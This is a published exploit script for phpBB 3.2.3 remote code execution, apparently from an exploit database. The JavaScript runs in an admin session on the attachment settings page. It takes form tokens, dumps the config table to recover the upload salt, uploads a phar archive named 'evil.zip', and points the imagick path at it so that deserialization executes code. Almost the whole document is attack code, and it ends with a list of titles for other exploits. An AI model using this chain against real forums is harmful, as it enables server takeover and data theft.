phpBB 3.2.3 – Remote Code Execution

// All greets goes to RIPS Tech

// Run this JS on Attachment Settings ACP page

var plupload_salt = '';

var form_token = '';

var creation_time = '';

var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip

// your payload here

var byteArray = Uint8Array.from(payload, function(c){return c.codePointAt(0);});

var sid = (new URL(document.location.href)).searchParams.get('sid');

var url = '/adm/index.php';

var getparams = {

'i': 'acp_database',

'sid': sid,

'mode': 'backup'

};

$.get(url, getparams, function(data) {

form_token = $(data).find('[name="form_token"]').val();

creation_time = $(data).find('[name="creation_time"]').val();

if(form_token && creation_time) {

var posturl = '/adm/index.php?i=acp_database&sid=|&mode=backup&action=download';

var postdata = {

'type': 'data',

'method': 'text',

'where': 'download',

'table[]': 'phpbb_config',

'submit': 'Submit',

'creation_time': creation_time,

'form_token': form_token

}

$.post(posturl.replace("|", sid), postdata, function (data) {

plupload_salt = data.match(/plupload_salt',\s*'(\w{32})/)[1];

if (plupload_salt) {

filepath = filepath.replace("$salt", plupload_salt);

var postdata = new FormData();

postdata.append('name', 'evil.zip');

postdata.append('chunk', 0);

postdata.append('chunks', 2);

postdata.append('add_file', 'Add the file');

postdata.append('real_filename', 'evil.zip');

// file

var pharfile = new File([byteArray], 'evil.zip');

postdata.append('fileupload', pharfile);

jQuery.ajax({

url: '/posting.php?mode=reply&f=2&t=1',

data: postdata,

cache: false,

contentType: false,

processData: false,

method: 'POST',

success: function(data){

if ("id" in data) {

$('#img_imagick').val(filepath).focus();

$('html, body').animate({

scrollTop: ($('#submit').offset().top)

}, 500);

}

});

}

}, 'text');

}

});

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection